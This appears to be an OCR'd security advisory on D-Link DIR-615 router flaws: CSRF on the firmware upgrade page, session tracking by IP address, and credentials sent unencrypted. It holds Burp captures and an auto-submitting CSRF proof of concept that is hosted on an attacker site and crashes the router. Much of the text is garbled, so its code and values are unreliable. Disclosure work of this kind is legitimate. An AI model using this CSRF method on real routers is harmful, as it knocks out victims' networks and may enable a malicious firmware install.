Qualys Security Advisory QSA-2017-03-12
March 12, 2017

D-Link DIR-615 Router Multiple VVulnerabilities

SYNOPSIS:

D-Link DIR-615 series router suffers from Multiple Cross-Site-Request-Forgery, Sensitive Information
Disclosure and Weak IP Based Session Management Vulnerabilities.

Reference:- http://support.dlink.com/Productinfo.aspx?m=DIR-615

CVE:

http://www.cve.mitre.org/cqgi-bin/cvename.cqgi?name=2017-7404

http://www.cve.mitre.org/cqgi-bin/cvename.cgi?name=2017-7405

http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2017-7406

VULNERABILITY DETAILS:
Lab Setup:

1. Target Router: DIR-615 Router (Hardware Version: T1, Firmware Version: 20.12PTb01)
2. Target IP Address: 192.168.100.1

3. Malicious Site:  http://139. XX XX XXX

Vulnerable/Tested Version:

DIR-615 running latest firmware version 20.12PTh01 is affected. Other models may also be affected.


http://support.dlink.com/ProductInfo.aspx?m=DIR-615
http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2017-7404
http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2017-7405
http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2017-7406
http://139.xx.xx./
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Product Name

DIR-615
Uptime 001:37:07
Date/Time Thu Jan 1 01:37:07 1970




Vulnerability#1: Cross Site Request Forgery Vulnerability on Firmware Upgrade Page

The device does not protect following sensitive page from CSRF attack:

1. Firmware Upgrade Page: http://192.168.100.1/form2file.htm

An unauthenticated, remote attacker could host a malicious website that either sends a POST request to
Firmware Upgrade Page.

Risk Factor: High

Impact:

If a victim is logged in to the Router’s Web Interface and visits a malicious site from another tab in the same
browser, the malicious site then can send requests to the victims Router without knowing the credentials.

An attacker can host a page which sends POST request to Form2File.htm that tries to upload Firmware to
victim’s Router. This causes router to reboot/crash resulting into Denial of Service. An attacker may succeed in
uploading a malicious Firmware if he plays little bit around this.

Proof-Of-Concept: CSRF on Firmware Upgrade Page

CVSS Score: AV: N/AC: M/AU: N/C: N/I: N/A:C

1. Capture Firmware update request in BurpSuite Pro.

(o (<ivj=zivy Target: hitp:/192168.100.1 | # (7 |

Raw | Params | Headers | Hex Raw | Headers | Hex | HTML | Render

POST /form2file.htm HTTR/Ll.1 HTTPR/ 1.1 200 OK

N i
Host: 192.1&8.100.1 Content-Typs: text/html m
Content-Length: 1327488 ) Server: Virtual Webh 0.9
Cache-Control: max-age=0 Content-Type: text/html
Origin: htetp://192.168.100.1
Upgrade-Insecure-Requests: 1 <html><head>
User-Agent: Mozilla/5.0 (Vindows NT 10.0:; Viné4: =6€4) AppleWebKit/537.36 (KHTHL, <meta HTTP-EQUIV="Pragma" CCNTENT="no-caches">
like Gecko) Chrome/56.0.25924.87 Safari/537.36 <meta http-equiv="Content-Type" content="text/html; charset=UTF-2">
Content-Type: multipart/form-data; boundary=--—-WebKitFormBoundaryPXKeHifmoYréEcIla
Accept: text/html,application/xhtml+xml,application/xml;q=0.9, image/webp, */ *;q=0.8 <link rel="stylesheet" type="text/css" href="stylemain.css">
Referer: http://192.168.100.1/upload.htm <script type="text/javascript” sre="util.js"></script>
Accept-Encoding: gzip, deflate <script type="text/javascript” src="share.js"></script>
Accept-Language: en-US,en;q=0.8 <scripts
Cookie: SessionlID= document .write("<s'+"cript type='text/javascript'
Connection: close sro='menu.js?v="+Math.random()+"'></scr"+"ipt>") ;
</script >
—————— WebKitFormBoundaryP¥KeHjfmoYréEc2a
Content-Disposition: form-data; name="download image file"; <title>Autoboot</ritle>
filename="DIR-£15T. FW201ZPTBOL. img" <script>
Content-Type: application/octet-stream var wtime=180;
function stop()

DIRELS OOO0f0000077€/% c<OMon Dec 19 15:24:18 {
20160r cuter . imgOO00E@; A00] O0€0400000000000... 6] 0£0nPeO00ET ] & (w+ | BA[CO | E= 2 ADTACwy e clearTimeout(id) :
120208 1
O2s»hesT<L/ . MOEHY> a00go zTAGLALE function start{)
G# | 2divalOOOHSS [ r4) ?_O0HACE $ YZEOODATE) 1] ga@ =001 V| §:0v0OR) ByyOp"0} : 4=K?{ O6THEDL {
M- yxu*iz—e" 0 “F §50[00YE (OKAXD| DgOQ: . . BN FZEwx@BOU -GG p»i0os0k if (wtime==180)
OEOWIE «ﬁll}éiED,ﬂ'nci[ie,,aI:F-f-,,¥]aex:-:leﬂnp BOLG ) L { L
ut, fg=.00UT1; 75° 0% ouThely F/' XEOAD-S90Gc [ FEE-yO>OWEXDE"T1)—VO -}, 18| WCO# - f| =, 09°E1 F | wtime = parseInt(document.frm.waitTime.value) ; |

? < + » ‘ 0 matches ? < + > | | Type a search term 0 matches
Done 1,790 bytes | 1,255 millis

2. Generate CSRF-PoC using BurpSuite Pro


http://192.168.100.1/form2file.htm

B! CSRF PoC generator - X

Request to: http://192 168.100.1 BJ Options

Raw | Params | Headers | Hex

FOST [ form2file.htm HTTP/L. 1 i

Host: 192.168.100.1 i ]
Content-Length: 1327488

Cache-Control: max-age=0

Origin: htep://L192Z.168.100.1

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win€éd; x€4) AppleWebKit/537.3€ (KHTML, like Gecko) Chrome/S5€.0.2924.87 Safari/537.3€

Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryPXEeHifmoYréEcZa

Accept: text/html,application/xhtml+xml,application/xml;q=0.9, imags/webp,*/*;q=0.8

Referer: httn://192.1AR.100.1/unload. htm [

QJ @ u @ 7 0 matches
CSRF HTML:
<html> [x
<!-- CSRF PoC - g >
<body>

<script>history.pushState('', '', 'f')</script>

<form action="http://192.168.100.1/form2fils. htn” method="POST" enctype="text/plain”s>

<input type="hidden"
"ef45; #45; «#45; ef45; «#45; £#45; VehKitFormBoundar yPXKeHifmoTr EEclas# iz e 10; Content&#45; Dispositione# S8, a#32; forma#45; datasfi59; e#32  name"
value="gquot; downloade#3l; imagee#32; filekcuot; e859; ¢#32  filenames#el; equot  DIREH45; 615TL&#95; FUZOLZPTBOL&#4E; imgecuot; & 13 &#10; Content&#45; Type&#53; s#32applicatio
ne#d7 tete#d5streamsf 13 #1013 6 L0 DIRELSC#LED; c#0; c#0; 6H3 7 GH 128 H0; ¢#0: c#0; 6H0; 6H2 HE3; aH#148; a# 128, 6#47: e# 137 6160 c#LED el e#5; Mona#32  Deca#32 LOGHSD )
156#58; 246458 186#32; 20166#0; router c#46; imga#0; c#0; s#0; 643 BOCK1OL: Ae#0: 6H#0; c#03; o#0; o80; o¥ GHO: 6H0; c#0; c#0; eH0; cH0; o#0; a#24; c#143; a#4; c#133, DakO3; eHl
44;a#158; e#12; nPce#q; ef29; c#141;ET6#136; aHO3; 8440, c#18) #43; 6#149; 6#33; B0EHOL; O6HT; e LEL ECHLT ngvyi&#léﬂ; c#185; c#158; #1085 eff L6 c# 142 05a#10; a2 2ef 187
shE#I5E; Telt; s#163; a#47; e§46; UeH#23; c#190; Hysgt ; Ac#l; af2 GzUROSH#188; alECH#O; SoH3S, c#33; eH158; divas#149; eH7; c#2L; e# L6, HOGH159; cHO L, c#179; racH L66; GHED; c#05; 6#3L; el H
ACCe#36; 6#159; &#142; c#169; c#18; 6H25; ef3 TE&H125; 6#134; 6#125; ef93; gac# 169; eH92; e#187; e#25; JTeH168; VEH166; eH167; &#191; c#3; ve#7: Reffal; ByyOpequot; e#7; &ff166; 6#180; e#59
ACHLTT; KeHE3; ef123; 06&# 182 HECHZT; 1eH182; cat; e 150; &#32; vxus#faz; Tagt; eff135; e#151 ;26415 HLED; EH136; Fafi168; e LE7; 50cH9L; ef31; cfL; vECHAD; 64143 ; KaXDEH9Z; D
eff18; Qe#58; eH46; eH46; BITCHOS; c#131; Zaf163; c#187; xef174; BeH23; UeH183; Qef15; 00T capos; petf155; Teff30; #0; Be#13; a#22;: FOwEH 182 ; ETIIGA cH40; Ea#n0; ef130; e#47; neff 162 Le#ol; i
=sf132; ATFOF132; eH165; af03 ;eraTOefad mpef9e; sf13; Bafs; ef 163 0aH32; el 134; a#130; Tae#Fl; eH46; aff16; OUTTEH50; eHE3; 5°0aH#179; 61l 1B9; c# 150; af36; =UyaH#O5; FafaT; capos; XeH L6
4; eff0; Aef143; off SOEH27;CeH 1L &S L 6#131; EECH LTI Ve#17; egr; ef 15; VExDESquot; 66 134; 18#155; 6#45; Ve 6; eF149; pef184; ef33; 064124, VOeHD; c#135; a#149; e#131; ef124; 2c#130;
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@ EJ EJ EJ Type a search term 0 matches

name=

Regenerate Test in browser J l Copy HTML J { Close J

Note: Make sure to select Options->CSRF Technique->Plain Text Form and Options->CSRF
Technique->Include auto-submit script options

Copy this HTML and save it as Burp-CSRF.html under web root on Kali machine.
Note: I’ve already hosted it on malicious site_http://139. XX XX.XXX/Burp-CSRF.html
Victim logs into Router’s Web Interface.

Victim visits http://139.XX.XX.XXX/Burp-CSRF.html

WiFi Router X () http o X Free File Sharing by Share By L., X ' +

€ O 3N x | % Q

INT v = @& SQL- XSS+ Encryption- Encoding~ Other~

/
vy
m
Q

& Load URL
% Ssplit URL

») Execute

[[] Enable Post data [_] Enable Referrer

Submit request

Note: Victim doesn’t have to click ‘Submit Request’ button as the option ‘Include auto-submit script” was
used while generating CSRF POC using BurpSuite. This submits the form automatically on page load.


http://139.xx.xx.xxx/Burp-CSRF.html
http://139.xx.xx.xxx/Burp-CSRF.html

Router resets the connection.

o WiFi Router 2 Burp Suite Professional . Free File Sharing by Share By L... X +

€ (© 192.168.100.1/form2file.ntm c -

= @ 50L- X55 Encryption- Encoding= Otherr

4 Load URL
I split URL
k) Execute

[] Enable Post data [ Enable Referrer

Burp Suite Professional

Error

Connection reset by peer: socket write error

Request in BurpSuite:

| Filter: Hiding CSS, image and general binary content

2

# A|Host [Melhod |URL |Params|Edited ]S!atus ‘Length 'MIME t... | Extension | Title Comment ‘SSL ‘IP |Cookies
20 http://192.168.100.1 GET  /wlan_basic htm @] [J 200 2932 HIML  htm WLAN Basic Settings J 1921681001

2006 http://139. D GET  [/Burp-CSRF html =] [J 200  4643.. HTML  html O 139

2007 http://192.168.100.1 POST  fform2file htm 7] @] HTML  htm [J 192.168.100.1

Victim visits malicious page

Malicious page sends Firmware
upload request to victim's router

M- Hex | HTML | Render

HTTP/Ll.l 200 OK L
Date: Mon, 13 Mar 2017 10:48:10 GMT

Server: Apache/2.4.7 (Ubuntu)

Last-Modified: Mon, 13 Mar 2017 10:2€:58 GMT

ETag: "4€d7d4-54af9aZébdlfSl-gzip"

Accept-Ranges: hytes

Vary: Accept-Encoding

Connection: close

Content-Type: text/html

Content-Length: 4642772

<htrl>

<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>

<script>history.pushState('', '', '/')</script>
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# 4| Host | Methed | URL | Params | Edited | Status |Length | MIMEt... | Extension | Title | Comment |ssL |IP | Cookies

20 http://192.168.100.1 GET  /wlan_basic htm @] [J 200 29332 HTML  htm WLAN Basic Settings [ 192.168.100.1
2006  http://139 GET  /Burp-CSRF html O O 200 4643 HTML html O 139

2007 http://192.168.100.1 POST | fform2file-htm | @ g HTML ~ htm [ 192.168.100.1
< i

Request

Raw | Params | Headers | Hex

POST /form2file.htm HTTP/Ll.l

Host: 192.1£8.100.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOWE4; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;cq=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://139.

Connection: close

Upgrade-Insecure-Requests: 1

Content-Type: text/plain

Content-Length: 1717078

—————— WebKitFormBoundaryPXKeHjfmoYréEcZa
Content-Disposition: form-data; name="download image file"; filename="DIR-£15T1 FWZOLZPTBOL.img" <==Firmware being uploaded

Content-Type: application/octet-stream

Router is now inaccessible. Also, the Wireless LAN icon in the System Tray indicates that it has connectivity
issues:




Vulnerability#2: IP Based Weak Session Management

Once user is authenticated, this device keeps track of user’s session by using the IP address of his machine.
An internal attacker could sniff the network traffic to find out if victim is logged into the router.

Risk Factor: High

Impact:

Once authenticated, this device identifies the user based on the source IP address of the victim's host. By
spoofing the IP address belonging to the victim's host, an attacker might be able to take over the administrative
session without being prompted for authentication credentials. An attacker can get victim's and router's IP
address by simply sniffing the network traffic.

Proof-Of-Concept:

CVSS Score: AV: N/AC: M/AU: N/C: N/I: C/A:C

1. Launch Internet Explorer and log into the router’s web interface

e & http://192.168.100.1/index.htm P-a 2 WiFi Router X
Product Page: DIR-615 Hardware version:T1  Firmware version: 20.12

DTG/ | e | v | advences | e [
Active Client Tabl This

This page shows the current status and some basic settings of the device. S .

IPV

IPV6 Routing Table

Product Name DIR-615
Uptime 000:15:38
Date/Time Thu Jan 1 00:15:38 1970
LAN Configuration

1P Address 192.168.100.1
Subnet Mask 255.255.255.0
DHCP Server Enable
MAC Address 3C:1E:04:24:56:BC




2. Now launch Firefox and access http://192.168.100.1/wlan_basic.htm

€ (0 192.168.100.1/wlan_basichtm ¢ & Q Search wBE ¥ &

INT ~| = @ 50L- XS5 Encryption- Encoding- Other-

@ LogdURL [+ t13*1xvrg
B spliturL
»

Execute

[] Enable Post data  [] Enable Referrer

Product Page: DIR-615 Hardware version:T1 FArmware version: 20.12

English v

Helpful Hints....

This page is used to configure the parameters for wireless LAN clients which may connect to your Access Point. Here
you may change wireless encryption settings as well as wireless network parameters. NOTE:To ensure

proper agency
Wireless Network compliance and

compatibilicy
Enable SSID Broadcast: T

o= 0 your area
Enable Wireless Isolation: [] the operating

Name(SSID) : | Jaguar | channel and region

Mode : must be set
’ correctty.
Channel: Current Channel: &
Placement of the
Band Width : Router to Optimize

Wireless
Connectivity

Security Options

It doesn’t prompt for password. Looking at the request in BurpSuite, it’s not using any Cookie or HTTP
Basic/Digest authentication for session management.

Crme s v s N L T = L e e e
2186 http:/1192.168.100. GET fwlan_basic.htm UJ (] 200 29264  HTML
2188 http:/192.168.100.1 GET futil}s O (] 200 38040  script
2189 http:/192.168.100.1 GET Ishare_js OJ (] 200 30315 script
2180 http:/192.168.100.1 GET fmenu_js?v=0.3171912422961619 (] (] 200 24569  script
2182 http:/192.168.100.1 GET fwlanhelp.-htm?md=0.589331312._. &4} (] 200 3198 script

[«
JReqlestT Response ]

JRawT Params I Headers I Hex }

GET /wlan basic.htm HTTP/1l.1

Host: 19Z2.168.100.1

User—-Agent: Mozilla/5.0 (Windows NT 10.0; WOWE4: rv:52.0) Gecko/20100101 Firefox/52.0
Aocept: text/html, application/xhtml+xml, application/xml; q=0.9, %/ %:q=0.8
Accept-Language: en-US,en;qg=0.5

Aocept-Encoding: gzip, deflate

Peferer: http://L182.1e8.100.1/status.htm

Cookie: SessionlD=

Connection: close

Tpgrade-Insecure-ERequests: 1

Also, highlighted is the Pre-Shared Key received in response.



Filter: Hiding CS5, image and general binary content

# 4| Host | Method | URL | Params | Edited | Status | Length | MIME t... | Extension | Title

2105  http://192.168.100.1 GET fwlan_basic.htm L L 200 29265  HTML htm WLAN Ba
2107 http:/M192.165.100.1 GET Jutil js L L 200 38040  script s

2108 http:/A192.165.100.1 GET /share js L L 200 30315 script is

2109 http:/A192.165.100.1 GET /menu_js?hv=0.36457448914999246 & L 200 24569 script is

2111 http:/M192.168.100.1 GET fwlanhelp htm?rmd=0.364290469. W L] 200 3198 script htm

LRSS

Request | Response }

J Raw T Headers T Hex T HTML T Render ]

</zmelect>
</td>
</tr>
<tr id=tr_psk style="">
<td class=form label 35>Pre-Shared Key:</td>
<td> - B
<input type="text" name="pskValus" size="3II" maxlength="&4"

valus="+,t4} 8" LEYrg™
>{8-63 characters or 64 hex digits)

P

An attacker can simply spoof victim’s IP address and take over the victim’s session. Moreover, if victim has
web access enabled on his router and is accessing the web interface from different network which is behind
the NAT/Proxy, an attacker can sniff the network traffic to know the public IP address of the victim’s router
and take over his session as he won’t be prompted for credentials.



Vulnerability#3: Sensitive Information Disclosure

This device doesn’t use SSL for any of the authenticated pages. Also, it doesn't allow user to generate his
own SSL Certificate. An attacker can simply monitor network traffic (like an open wireless network), and
steal user’s credentials and/or credentials of users being added while sniffing the traffic.

Risk Factor: High

Impact:

An attacker can steal user’s credentials to access router’s web interface, thus compromising Confidentiality,
Integrity and Availability

Proof-Of-Concept:

CVSS Score: AV: N/AC: L/AU: N/C: N/I: C/A:C

1. Log into the router’s web interface.
2. Credentials submitted in plain text

Filter: Hiding CS5, image and general binary content

# 4| Host | Method | URL | Params | Edited | Status | Length |MIMEt... |E
2155 hitp://192.168.100.1 POST  flogin.cgi & L] 200 3M HTML C
2156 hitp://192.168.100 1 GET flogin_htm [ [ 200 3436 HTML h
<

J Request T Response ]

_[ Raw T Params I Headers I Hex ]

POST /login.cgi HTTR/L1.1

Host: 19Z2.1€8.100.1

User—-Agent: Mozilla/5.0 (Windows NT 10.0; WOWE4; rv:52.0) Gecko/201l00101 Firefox/52.0
Accept: text/html,application/xhtml+xml, application/xml;q=0.9,*/*;q=0.8
Aocept-Languadgs: en-US,en;oq=0.5

Aocept-Encoding: gzip, deflate

Eeferer: http://1892.168.100.L1/1login.htm

Cookie: SessionlD=

Connection: close

Tpgrade—-Insecure-Eequests: 1

Content-Type: application/x-www-form-urlencodsd

Content-Length: 73

username=Adminépassword=52EB52Ct457DESSELXTrg&submit . htms3F login. htwm=Login
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